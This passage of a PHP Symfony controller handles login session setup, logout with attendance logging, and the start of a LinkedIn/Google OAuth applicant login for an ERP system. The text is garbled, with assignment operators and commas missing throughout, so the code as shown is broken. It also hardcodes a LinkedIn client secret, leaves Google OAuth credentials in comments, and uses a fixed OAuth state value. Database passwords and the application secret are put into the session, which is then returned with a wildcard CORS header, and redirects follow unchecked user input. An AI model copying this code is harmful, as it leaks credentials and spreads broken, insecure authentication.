  5433.                         UserConstants::IS_CONSULTANT => $isConsultant,
  5434.                         UserConstants::IS_BUDDYBEE_RETAILER => $isRetailer,
  5435.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $retailerLevel,
  5436.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $adminLevel,
  5437.                         UserConstants::IS_BUDDYBEE_MODERATOR => $isModerator,
  5438.                         UserConstants::IS_BUDDYBEE_ADMIN => $isAdmin,
  5439.                         UserConstants::USER_EMAIL => $userEmail == null "" $userEmail,
  5440.                         UserConstants::USER_IMAGE => $userImage == null "" $userImage,
  5441.                         UserConstants::USER_NAME => $userFullName,
  5442.                         UserConstants::USER_DEFAULT_ROUTE => $userDefaultRoute,
  5443.                         UserConstants::USER_COMPANY_ID => $userCompanyId,
  5444.                         UserConstants::USER_COMPANY_ID_LIST => json_encode($company_id_list),
  5445.                         UserConstants::USER_COMPANY_NAME_LIST => json_encode($company_name_list),
  5446.                         UserConstants::USER_COMPANY_IMAGE_LIST => json_encode($company_image_list),
  5447.                         UserConstants::USER_APP_ID => $appIdFromUserName,
  5448.                         UserConstants::USER_POSITION_LIST => json_encode($position_list_array),
  5449.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $allModuleAccessFlag,
  5450.                         UserConstants::SESSION_SALT => uniqid(mt_rand()),
  5451.                         UserConstants::APPLICATION_SECRET => $this->container->getParameter('secret'),
  5452.                         UserConstants::USER_GOC_ID => $gocId,
  5453.                         UserConstants::USER_DB_NAME => $gocDbName,
  5454.                         UserConstants::USER_DB_USER => $gocDbUser,
  5455.                         UserConstants::USER_DB_PASS => $gocDbPass,
  5456.                         UserConstants::USER_DB_HOST => $gocDbHost,
  5457.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $product_name_display_type,
  5458.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  5459.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  5460.                         UserConstants::USER_LOGIN_ID => $loginID,
  5461.                         UserConstants::USER_CURRENT_POSITION => $curr_position_id,
  5462.                         UserConstants::USER_ROUTE_LIST => json_encode($route_list_array),
  5463.                         UserConstants::USER_PROHIBIT_LIST => json_encode($prohibit_list_array),
  5464.                         'relevantRequiredPromptFields' => json_encode($currRequiredPromptFields),
  5465.                         'triggerPromptInfoModalFlag' => empty($currRequiredPromptFields) ? 1,
  5466.                         'TRIGGER_RESET_PASSWORD' => $triggerResetPassword,
  5467.                         'IS_EMAIL_VERIFIED' => $isEmailVerified,
  5468.                         'REMEMBERME' => $remember_me,
  5469.                         'BUDDYBEE_BALANCE' => $buddybeeBalance,
  5470.                         'BUDDYBEE_COIN_BALANCE' => $buddybeeCoinBalance,
  5471.                         'oAuthToken' => $oAuthToken,
  5472.                         'locale' => $locale,
  5473.                         'firebaseToken' => $firebaseToken,
  5474.                         'token' => $session->get('token'),
  5475.                         'firstLogin' => $firstLogin,
  5476.                         'oAuthImage' => $oAuthImage,
  5477.                         'appIdList' => json_encode($appIdList),
  5478.                         'branchIdList' => json_encode($branchIdList),
  5479.                         'branchId' => $branchId,
  5480.                         'companyIdListByAppId' => json_encode($companyIdListByAppId),
  5481.                         'companyNameListByAppId' => json_encode($companyNameListByAppId),
  5482.                         'companyImageListByAppId' => json_encode($companyImageListByAppId),
  5483.                         'userCompanyDarkVibrantList' => json_encode($company_dark_vibrant_list),
  5484.                         'userCompanyVibrantList' => json_encode($company_vibrant_list),
  5485.                         'userCompanyLightVibrantList' => json_encode($company_light_vibrant_list),
  5486.                     );
  5487.                     if ($systemType == '_CENTRAL_') {
  5488.                         $accessList = [];
  5489. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  5490.                         foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  5491.                             foreach ($thisUserUserTypes as $thisUserUserType) {
  5492.                                 if (isset($gocDataListByAppId[$thisUserAppId])) {
  5493.                                     $d = array(
  5494.                                         'userType' => $thisUserUserType,
  5495.                                         'globalId' => $globalId,
  5496.                                         'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  5497.                                         'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  5498.                                         'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  5499.                                         'systemType' => '_ERP_',
  5500.                                         'companyId' => 1,
  5501.                                         'appId' => $thisUserAppId,
  5502.                                         'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  5503.                                         'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  5504.                                         'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  5505.                                                 array(
  5506.                                                     'globalId' => $globalId,
  5507.                                                     'appId' => $thisUserAppId,
  5508.                                                     'authenticate' => 1,
  5509.                                                     'userType' => $thisUserUserType
  5510.                                                 )
  5511.                                             )
  5512.                                         ),
  5513.                                         'userCompanyList' => [
  5514.                                         ]
  5515.                                     );
  5516.                                     $accessList[] = $d;
  5517.                                 }
  5518.                             }
  5519.                         }
  5520.                         $accessList $this->appendCentralCustomerAccessList($accessList, (int)$globalId);
  5521.                         $session_data['userAccessList'] = $accessList;
  5522.                     }
  5523.                     $ultimateData System::setSessionForUser($em_goc,
  5524.                         $session,
  5525.                         $session_data,
  5526.                         $config
  5527.                     );
  5528. //                    $tokenData = MiscActions::CreateTokenFromSessionData($em_goc, $session_data);
  5529.                     $session_data $ultimateData['sessionData'];
  5530.                     $session_data $this->filterClientSessionData($session_data);
  5531.                     $token $ultimateData['token'];
  5532.                     $session->set('token'$token);
  5533.                     if ($systemType == '_CENTRAL_') {
  5534.                         $session->set('csToken'$token);
  5535.                     } else {
  5536.                         $session->set('csToken'$csToken);
  5537.                     }
  5538.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == || $request->query->get('remoteVerify'0) == 1) {
  5539.                         $session->set('remoteVerified'1);
  5540.                         $response = new JsonResponse(array(
  5541.                             'token' => $token,
  5542.                             'uid' => $session->get(UserConstants::USER_ID),
  5543.                             'session' => $session,
  5544.                             'success' => true,
  5545.                             'session_data' => $session_data,
  5546.                         ));
  5547.                         $response->headers->set('Access-Control-Allow-Origin''*');
  5548.                         return $response;
  5549.                     }
  5550.                     //TEMP START
  5551.                     if ($systemType == '_CENTRAL_') {
  5552.                         return $this->redirectToRoute('central_landing');
  5553.                     }
  5554.                     //TREMP END
  5555.                     if ($userForcedRoute != '')
  5556.                         return $this->redirectToRoute($userForcedRoute);
  5557.                     if ($request->request->has('referer_path')) {
  5558.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  5559.                             return $this->redirect($request->request->get('referer_path'));
  5560.                         }
  5561.                     }
  5562.                     if ($request->query->has('refRoute')) {
  5563.                         if ($request->query->get('refRoute') == '8917922')
  5564.                             $userDefaultRoute 'apply_for_consultant';
  5565.                     }
  5566.                     if ($userDefaultRoute == "" || $userDefaultRoute == "" || $userDefaultRoute == null)
  5567.                         $userDefaultRoute 'dashboard';
  5568.                     if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  5569.                         if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  5570.                             if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  5571.                                 $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  5572.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5573.                                 return $this->redirect($red);
  5574.                             }
  5575.                         } else {
  5576.                             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5577.                         }
  5578.                     } else
  5579.                         return $this->redirectToRoute($userDefaultRoute);
  5580.                 }
  5581.             }
  5582.         }
  5583.         $session $request->getSession();
  5584.         if (isset($encData['appId'])) {
  5585.             if (isset($gocDataListByAppId[$encData['appId']]))
  5586.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  5587.         }
  5588.         $routeName $request->attributes->get('_route');
  5589.         if ($systemType == '_BUDDYBEE_' && $routeName != 'erp_login') {
  5590.             $refRoute '';
  5591.             $message '';
  5592.             $errorField '_NONE_';
  5593. //            if ($request->query->has('message')) {
  5594. //                $message = $request->query->get('message');
  5595. //
  5596. //            }
  5597. //            if ($request->query->has('errorField')) {
  5598. //                $errorField = $request->query->get('errorField');
  5599. //
  5600. //            }
  5601.             if ($refRoute != '') {
  5602.                 if ($refRoute == '8917922')
  5603.                     $redirectRoute 'apply_for_consultant';
  5604.             }
  5605.             if ($request->query->has('refRoute')) {
  5606.                 $refRoute $request->query->get('refRoute');
  5607.                 if ($refRoute == '8917922')
  5608.                     $redirectRoute 'apply_for_consultant';
  5609.             }
  5610.             $google_client = new Google_Client();
  5611. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  5612. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  5613.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  5614.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  5615.             } else {
  5616.                 $url $this->generateUrl(
  5617.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  5618.                 );
  5619.             }
  5620.             $selector BuddybeeConstant::$selector;
  5621.             $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  5622. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  5623.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  5624. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  5625.             $google_client->setRedirectUri($url);
  5626.             $google_client->setAccessType('offline');        // offline access
  5627.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  5628.             $google_client->setRedirectUri($url);
  5629.             $google_client->addScope('email');
  5630.             $google_client->addScope('profile');
  5631.             $google_client->addScope('openid');
  5632.             return $this->render(
  5633.                 '@Authentication/pages/views/applicant_login.html.twig',
  5634.                 [
  5635.                     'page_title' => 'BuddyBee Login',
  5636.                     'oAuthLink' => $google_client->createAuthUrl(),
  5637.                     'redirect_url' => $url,
  5638.                     'message' => $message,
  5639.                     'errorField' => '',
  5640.                     'systemType' => $systemType,
  5641.                     'ownServerId' => $ownServerId,
  5642.                     'refRoute' => $refRoute,
  5643.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  5644.                     'selector' => $selector
  5645.                 ]
  5646.             );
  5647.         } else if ($systemType == '_CENTRAL_' && $routeName != 'erp_login') {
  5648.             $refRoute '';
  5649.             $message '';
  5650.             $errorField '_NONE_';
  5651. //            if ($request->query->has('message')) {
  5652. //                $message = $request->query->get('message');
  5653. //
  5654. //            }
  5655. //            if ($request->query->has('errorField')) {
  5656. //                $errorField = $request->query->get('errorField');
  5657. //
  5658. //            }
  5659.             if ($refRoute != '') {
  5660.                 if ($refRoute == '8917922')
  5661.                     $redirectRoute 'apply_for_consultant';
  5662.             }
  5663.             if ($request->query->has('refRoute')) {
  5664.                 $refRoute $request->query->get('refRoute');
  5665.                 if ($refRoute == '8917922')
  5666.                     $redirectRoute 'apply_for_consultant';
  5667.             }
  5668.             $google_client = new Google_Client();
  5669. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  5670. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  5671.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  5672.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  5673.             } else {
  5674.                 $url $this->generateUrl(
  5675.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  5676.                 );
  5677.             }
  5678.             $selector BuddybeeConstant::$selector;
  5679. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  5680.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  5681. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  5682.             $google_client->setRedirectUri($url);
  5683.             $google_client->setAccessType('offline');        // offline access
  5684.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  5685.             $google_client->setRedirectUri($url);
  5686.             $google_client->addScope('email');
  5687.             $google_client->addScope('profile');
  5688.             $google_client->addScope('openid');
  5689.             return $this->render(
  5690.                 '@Authentication/pages/views/central_login.html.twig',
  5691.                 [
  5692.                     'page_title' => 'Central Login',
  5693.                     'oAuthLink' => $google_client->createAuthUrl(),
  5694.                     'redirect_url' => $url,
  5695.                     'message' => $message,
  5696.                     'systemType' => $systemType,
  5697.                     'ownServerId' => $ownServerId,
  5698.                     'errorField' => '',
  5699.                     'refRoute' => $refRoute,
  5700.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  5701.                     'selector' => $selector
  5702.                 ]
  5703.             );
  5704.         } else if ($systemType == '_ERP_' && ($this->container->hasParameter('system_auth_type') ? $this->container->getParameter('system_auth_type') : '_LOCAL_AUTH_') == '_CENTRAL_AUTH_') {
  5705.             return $this->redirect(GeneralConstant::HONEYBEE_CENTRAL_SERVER '/central_landing');
  5706.         } else
  5707.             return $this->render(
  5708.                 '@Authentication/pages/views/login_new.html.twig',
  5709.                 array(
  5710.                     "message" => $message,
  5711.                     'page_title' => 'Login',
  5712.                     'gocList' => $gocDataListForLoginWeb,
  5713.                     'gocId' => $gocId != $gocId '',
  5714.                     'systemType' => $systemType,
  5715.                     'ownServerId' => $ownServerId,
  5716.                     'encData' => $encData,
  5717.                     //                'ref'=>$request->
  5718.                 )
  5719.             );
  5720.     }
  5721.     public function initiateAdminAction(Request $request$remoteVerify 0)
  5722.     {
  5723.         $em $this->getDoctrine()->getManager();
  5724.         MiscActions::initiateAdminUser($em);
  5725.         $this->addFlash(
  5726.             'success',
  5727.             'The Action was Successful.'
  5728.         );
  5729.         return $this->redirectToRoute('user_login');
  5730.     }
  5731.     public function LogoutAction(Request $request$remoteVerify 0)
  5732.     {
  5733.         $session $request->getSession();
  5734.         $em_goc $this->getDoctrine()->getManager('company_group');
  5735.         $session $request->getSession();
  5736.         $token $request->headers->get('auth-token'$request->request->get('token'$request->request->get('hbeeSessionToken''')));
  5737. //        return new JsonResponse([$token]);
  5738.         if ($session->get(UserConstants::USER_ID0) == 0) {
  5739. //                    return new JsonResponse([$token]);
  5740.             $to_set_session_data MiscActions::GetSessionDataFromToken($em_goc$token)['sessionData'];
  5741.             if ($to_set_session_data != null) {
  5742.                 foreach ($to_set_session_data as $k => $d) {
  5743.                     //check if mobile
  5744.                     $session->set($k$d);
  5745.                 }
  5746.             } else {
  5747.                 $hbeeErrorCode ApiConstants::ERROR_TOKEN_EXPIRED;
  5748.             }
  5749.         }
  5750.         $userId $session->get(UserConstants::USER_ID);
  5751.         $currentTime = new \Datetime();
  5752.         $currTs $currentTime->format('U');
  5753.         $routeName $request->attributes->get('_route');
  5754.         $currentTaskId $session->get(UserConstants::USER_CURRENT_TASK_ID0);
  5755.         $currentPlanningItemId $session->get(UserConstants::USER_CURRENT_PLANNING_ITEM_ID0);
  5756.         if ($request->query->get('endCurrentTask'1) == 1) {
  5757.             if (
  5758.                 ($currentTaskId != && $currentTaskId != null && $currentTaskId != '') &&
  5759.                 ($session->get(UserConstants::USER_TYPE) == UserConstants::USER_TYPE_GENERAL ||
  5760.                     $session->get(UserConstants::USER_TYPE) == UserConstants::USER_TYPE_SYSTEM)
  5761.             ) {
  5762.                 $gocId $session->get(UserConstants::USER_GOC_ID);
  5763.                 $appId $session->get(UserConstants::USER_APP_ID);
  5764.                 $acknowledgementService $this->get('app.public_document_acknowledgement_service');
  5765.                 list($em$goc) = $acknowledgementService->getPublicDocumentEntityManager($appId);
  5766.                 $stmt $em->getConnection()->executeStatement('UPDATE task_log set working_status=2, actual_end_ts=' $currTs ' where working_status=1 and user_id= ' $session->get(UserConstants::USER_ID) . ' ;');
  5767.                 if (1) {
  5768.                     $session->set(UserConstants::USER_CURRENT_TASK_ID0);
  5769.                     $session->set(UserConstants::USER_CURRENT_PLANNING_ITEM_ID0);
  5770.                     $empId $session->get(UserConstants::USER_EMPLOYEE_ID0);
  5771.                     $currTime = new \DateTime();
  5772.                     $options = array(
  5773.                         'notification_enabled' => $this->container->getParameter('notification_enabled'),
  5774.                         'notification_server' => $this->container->getParameter('notification_server'),
  5775.                     );
  5776.                     $positionsArray = [
  5777.                         array(
  5778.                             'employeeId' => $empId,
  5779.                             'userId' => $session->get(UserConstants::USER_ID0),
  5780.                             'sysUserId' => $session->get(UserConstants::USER_ID0),
  5781.                             'timeStamp' => $currTime->format(DATE_ISO8601),
  5782.                             'lat' => 23.8623834,
  5783.                             'lng' => 90.3979294,
  5784.                             'markerId' => HumanResourceConstant::ATTENDANCE_MARKER_CLOCK_OUT,
  5785. //                            'userId'=>$session->get(UserConstants::USER_ID, 0),
  5786.                         )
  5787.                     ];
  5788.                     if (is_string($positionsArray)) $positionsArray json_decode($positionsArraytrue);
  5789.                     if ($positionsArray == null$positionsArray = [];
  5790.                     $dataByAttId = [];
  5791.                     $workPlaceType '_UNSET_';
  5792.                     foreach ($positionsArray as $findex => $d) {
  5793.                         $sysUserId 0;
  5794.                         $userId 0;
  5795.                         $empId 0;
  5796.                         $dtTs 0;
  5797.                         $timeZoneStr '+0000';
  5798.                         if (isset($d['employeeId'])) $empId $d['employeeId'];
  5799.                         if (isset($d['userId'])) $userId $d['userId'];
  5800.                         if (isset($d['sysUserId'])) $sysUserId $d['sysUserId'];
  5801.                         if (isset($d['tsMilSec'])) {
  5802.                             $dtTs ceil(($d['tsMilSec']) / 1000);
  5803.                         }
  5804.                         if ($dtTs == 0) {
  5805.                             $currTsTime = new \DateTime();
  5806.                             $dtTs $currTsTime->format('U');
  5807.                         } else {
  5808.                             $currTsTime = new \DateTime('@' $dtTs);
  5809.                         }
  5810.                         $currTsTime->setTimezone(new \DateTimeZone('UTC'));
  5811.                         $attDate = new \DateTime($currTsTime->format('Y-m-d') . ' 00:00:00' $timeZoneStr);
  5812.                         $EmployeeAttendance $this->getDoctrine()
  5813.                             ->getRepository(EmployeeAttendance::class)
  5814.                             ->findOneBy(array('employeeId' => $empId'date' => $attDate));
  5815.                         if (!$EmployeeAttendance) {
  5816.                             continue;
  5817.                         } else {
  5818.                         }
  5819.                         $attendanceInfo HumanResource::StoreAttendance($em$empId$sysUserId$request$EmployeeAttendance$attDate$dtTs$timeZoneStr$d['markerId']);
  5820.                         if ($d['markerId'] == HumanResourceConstant::ATTENDANCE_MARKER_CLOCK_OUT) {
  5821.                             $workPlaceType '_STATIC_';
  5822.                         }
  5823.                         if (!isset($dataByAttId[$attendanceInfo->getId()]))
  5824.                             $dataByAttId[$attendanceInfo->getId()] = array(
  5825.                                 'attendanceInfo' => $attendanceInfo,
  5826.                                 'empId' => $empId,
  5827.                                 'lat' => 0,
  5828.                                 'lng' => 0,
  5829.                                 'address' => 0,
  5830.                                 'sysUserId' => $sysUserId,
  5831.                                 'companyId' => $request->getSession()->get(UserConstants::USER_COMPANY_ID),
  5832.                                 'appId' => $request->getSession()->get(UserConstants::USER_APP_ID),
  5833.                                 'positionArray' => []
  5834.                             );
  5835.                         $posData = array(
  5836.                             'ts' => $dtTs,
  5837.                             'lat' => $d['lat'],
  5838.                             'lng' => $d['lng'],
  5839.                             'marker' => $d['markerId'],
  5840.                             'src' => 2,
  5841.                         );
  5842.                         $posDataArray = array(
  5843.                             $dtTs,
  5844.                             $d['lat'],
  5845.                             $d['lng'],
  5846.                             $d['markerId'],
  5847.                             2
  5848.                         );
  5849.                         $dataByAttId[$attendanceInfo->getId()]['markerId'] = $d['markerId'];
  5850.                         //this markerId will be calclulted and modified to check if user is in our out of office/workplace later
  5851.                         $dataByAttId[$attendanceInfo->getId()]['attendanceInfo'] = $attendanceInfo;
  5852.                         $dataByAttId[$attendanceInfo->getId()]['positionArray'][] = $posData;
  5853.                         $dataByAttId[$attendanceInfo->getId()]['lat'] = $d['lat'];  //for last lat lng etc
  5854.                         $dataByAttId[$attendanceInfo->getId()]['lng'] = $d['lng'];  //for last lat lng etc
  5855.                         if (isset($d['address']))
  5856.                             $dataByAttId[$attendanceInfo->getId()]['address'] = $d['address'];  //for last lat lng etc
  5857. //                $dataByAttId[$attendanceInfo->getId()]['positionArray'][]=$posDataArray;
  5858.                     }
  5859.                     $response = array(
  5860.                         'success' => true,
  5861.                     );
  5862.                     foreach ($dataByAttId as $attInfoId => $d) {
  5863.                         $response HumanResource::setAttendanceLogFlutterApp($em,
  5864.                             $d['empId'],
  5865.                             $d['sysUserId'],
  5866.                             $d['companyId'],
  5867.                             $d['appId'],
  5868.                             $request,
  5869.                             $d['attendanceInfo'],
  5870.                             $options,
  5871.                             $d['positionArray'],
  5872.                             $d['lat'],
  5873.                             $d['lng'],
  5874.                             $d['address'],
  5875.                             $d['markerId']
  5876.                         );
  5877.                     }
  5878.                 }
  5879.             }
  5880.         }
  5881.         if ($token != '')
  5882.             MiscActions::DeleteToken($em_goc$token);
  5883.         $session->clear();
  5884.         $session->set('CLEARLOGIN'1);
  5885.         if (strripos($request->server->get('HTTP_REFERER'), 'select_data') === false) {
  5886.             if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != '') {
  5887.                 $referrerPath parse_url($request->server->get('HTTP_REFERER'), PHP_URL_PATH);
  5888.                 $referrerPath strtolower($referrerPath === false || $referrerPath === null $request->server->get('HTTP_REFERER') : $referrerPath);
  5889.                 if (strripos($referrerPath'/auth/') === false && strripos($referrerPath'undefined') === false
  5890.                     && strripos($referrerPath'signature_status') === false && strripos($referrerPath'/api/') === false) {
  5891.                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN'$request->server->get('HTTP_REFERER'));
  5892.                 } else {
  5893.                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5894.                 }
  5895.             }
  5896.         } else {
  5897.             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5898.         }
  5899. //        $request->headers->setCookie(Cookie::create('CLEARLOGINCOOKIE', 1
  5900. //            )
  5901. //
  5902. //        );
  5903.         if ($routeName == 'app_logout_api' || $request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == || $request->query->get('remoteVerify'0) == || $request->get('returnJson'0) == 1) {
  5904.             if ($userId) {
  5905.                 return new JsonResponse(array(
  5906.                     "success" => empty($session->get(UserConstants::USER_ID)) ? true false,
  5907.                     "message" => "Logout Successfull!",
  5908.                     'session_data' => [],
  5909.                     'userId' => $userId
  5910.                 ));
  5911.             } else {
  5912.                 return new JsonResponse(array(
  5913.                     "success" => empty($session->get(UserConstants::USER_ID)) ? false true,
  5914.                     "message" => "Already Logout",
  5915.                     'session_data' => [],
  5916.                     'userId' => $userId
  5917.                 ));
  5918.             }
  5919.         }
  5920.         return $this->redirectToRoute("dashboard");
  5921.     }
  5922.     public function applicantLoginAction(Request $request$encData ''$remoteVerify 0)
  5923.     {
  5924.         $session $request->getSession();
  5925.         $email $request->getSession()->get('userEmail');
  5926.         $sessionUserId $request->getSession()->get('userId');
  5927.         $oAuthData = [];
  5928. //    $encData='';
  5929.         $em $this->getDoctrine()->getManager('company_group');
  5930.         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  5931.         $redirectRoute 'dashboard';
  5932.         if ($encData != '') {
  5933.             if ($encData == '8917922')
  5934.                 $redirectRoute 'apply_for_consultant';
  5935.         }
  5936.         if ($request->query->has('encData')) {
  5937.             $encData $request->query->get('encData');
  5938.             if ($encData == '8917922')
  5939.                 $redirectRoute 'apply_for_consultant';
  5940.         }
  5941.         $message '';
  5942.         $errorField '_NONE_';
  5943.         if ($request->query->has('message')) {
  5944.             $message $request->query->get('message');
  5945.         }
  5946.         if ($request->query->has('errorField')) {
  5947.             $errorField $request->query->get('errorField');
  5948.         }
  5949.         if ($request->request->has('oAuthData')) {
  5950.             $oAuthData $request->request->get('oAuthData', []);
  5951.         } else {
  5952.             $oAuthData = [
  5953.                 'email' => $request->request->get('email'''),
  5954.                 'uniqueId' => $request->request->get('uniqueId'''),
  5955.                 'oAuthHash' => '_NONE_',
  5956.                 'image' => $request->request->get('image'''),
  5957.                 'emailVerified' => $request->request->get('emailVerified'''),
  5958.                 'name' => $request->request->get('name'''),
  5959.                 'firstName' => $request->request->get('firstName'''),
  5960.                 'lastName' => $request->request->get('lastName'''),
  5961.                 'type' => 1,
  5962.                 'token' => $request->request->get('oAuthtoken'''),
  5963.             ];
  5964.         }
  5965.         $isApplicantExist null;
  5966.         if ($email) {
  5967.             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  5968.                 $isApplicantExist $applicantRepo->findOneBy([
  5969.                     'applicantId' => $sessionUserId
  5970.                 ]);
  5971.             } else
  5972.                 return $this->redirectToRoute($redirectRoute);
  5973.         }
  5974.         $google_client = new Google_Client();
  5975. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  5976. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  5977.         if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  5978.             $url $this->generateUrl('user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL);
  5979.         } else {
  5980.             $url $this->generateUrl(
  5981.                 'user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL
  5982.             );
  5983.         }
  5984.         $selector BuddybeeConstant::$selector;
  5985.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  5986.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  5987. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  5988.         $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  5989. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  5990.         $google_client->setRedirectUri($url);
  5991.         $google_client->setAccessType('offline');        // offline access
  5992.         $google_client->setIncludeGrantedScopes(true);   // incremental auth
  5993.         $google_client->addScope('email');
  5994.         $google_client->addScope('profile');
  5995.         $google_client->addScope('openid');
  5996. //    $google_client->setRedirectUri('http://localhost/applicant_login');
  5997.         //linked in 1st
  5998.         if (isset($_GET["code"]) && isset($_GET["state"])) {
  5999.             $curl curl_init();
  6000.             curl_setopt_array($curl, array(
  6001.                 CURLOPT_RETURNTRANSFER => true,   // return web page
  6002.                 CURLOPT_HEADER => false,  // don't return headers
  6003.                 CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6004.                 CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6005.                 CURLOPT_ENCODING => "",     // handle compressed
  6006.                 CURLOPT_USERAGENT => "test"// name of client
  6007.                 CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6008.                 CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6009.                 CURLOPT_TIMEOUT => 120,    // time-out on response
  6010.                 CURLOPT_URL => 'https://www.linkedin.com/oauth/v2/accessToken',
  6011.                 CURLOPT_USERAGENT => 'InnoPM',
  6012.                 CURLOPT_POSTFIELDS => urldecode("grant_type=authorization_code&code=" $_GET["code"] . "&redirect_uri=$url&client_id=86wi39zpo46wsl&client_secret=X59ktZnreWPomqIe"),
  6013.                 CURLOPT_POST => 1,
  6014.                 CURLOPT_HTTPHEADER => array(
  6015.                     'Content-Type: application/x-www-form-urlencoded'
  6016.                 )
  6017.             ));
  6018.             $content curl_exec($curl);
  6019.             $contentArray = [];
  6020.             curl_close($curl);
  6021.             $token false;
  6022. //      return new JsonResponse(array(
  6023. //          'content'=>$content,
  6024. //          'contentArray'=>json_decode($content,true),
  6025. //
  6026. //      ));
  6027.             if ($content) {
  6028.                 $contentArray json_decode($contenttrue);
  6029.                 $token $contentArray['access_token'];
  6030.             }
  6031.             if ($token) {
  6032.                 $applicantInfo = [];
  6033.                 $curl curl_init();
  6034.                 curl_setopt_array($curl, array(
  6035.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6036.                     CURLOPT_HEADER => false,  // don't return headers
  6037.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6038.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6039.                     CURLOPT_ENCODING => "",     // handle compressed
  6040.                     CURLOPT_USERAGENT => "test"// name of client
  6041.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6042.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6043.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  6044.                     CURLOPT_URL => 'https://api.linkedin.com/v2/me?projection=(id,localizedFirstName,localizedLastName,firstName,lastName,profilePicture(displayImage~:playableStreams))',
  6045.                     CURLOPT_USERAGENT => 'InnoPM',
  6046.                     CURLOPT_HTTPGET => 1,
  6047.                     CURLOPT_HTTPHEADER => array(
  6048.                         'Authorization: Bearer ' $token,
  6049.                         'Header-Key-2: Header-Value-2'
  6050.                     )
